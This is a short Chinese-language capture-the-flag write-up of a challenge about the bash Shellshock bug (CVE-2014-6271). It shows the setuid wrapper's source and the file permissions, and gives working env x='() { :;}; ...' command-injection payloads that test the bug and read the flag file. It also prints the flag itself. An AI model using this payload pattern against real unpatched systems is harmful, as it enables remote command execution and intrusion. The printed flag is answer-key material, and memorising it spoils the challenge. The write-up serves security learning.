Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)ssh [email protected] -p2222 (pw:guest)
有關14年關於低於4.3版本 bash 的一個漏洞 shellshock , CVE-2014-6271。
關於該漏洞的內容參考:http://bobao.360.cn/learning/detail/43.html
ssh登錄後查看當前用戶目錄內容:
shellshock@ubuntu:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
會發現文件 shellshock 和 flag 的所有者均爲root,並且屬於同一組 shellshock_pwn 。
查看 shellshock.c 文件內容:
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
看到這裏,大致的思路就出來了,因爲 shellshock 和 flag 所屬的組 shellshock_pwn 對於 flag 文件有讀的權限, shellshock 執行時將 RUID , EUID, SUID 設置成 EGID,該進程就得到了對 flag文件的讀權限。
同時該進程會打開bash,可以利用bash漏洞跑出 flag 內容。
(這裏筆者沒有弄清楚的是,既然 shellshock 文件對於組用戶在執行時擁有 SUID 權限,即運行時該進程暫時得到 shellshock 擁有者 root 的權限,那麼該進程在讀 flag 文件時是以 shellshock_pwn 的身份還是 root 的身份?)
先測試這裏給出的這個 bash 是否真的存在破殼漏洞:
shellshock@ubuntu:~$ env x='() { :;}; echo vulnerable' ./bash -c "test"
vulnerable
test
輸出了vulnerable,說明該bash可被“破殼”。
接下來構造含有輸出 flag 功能的 shellcode ,置入環境變量,讓這個存在漏洞的 bash 幫助我們得到flag
shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!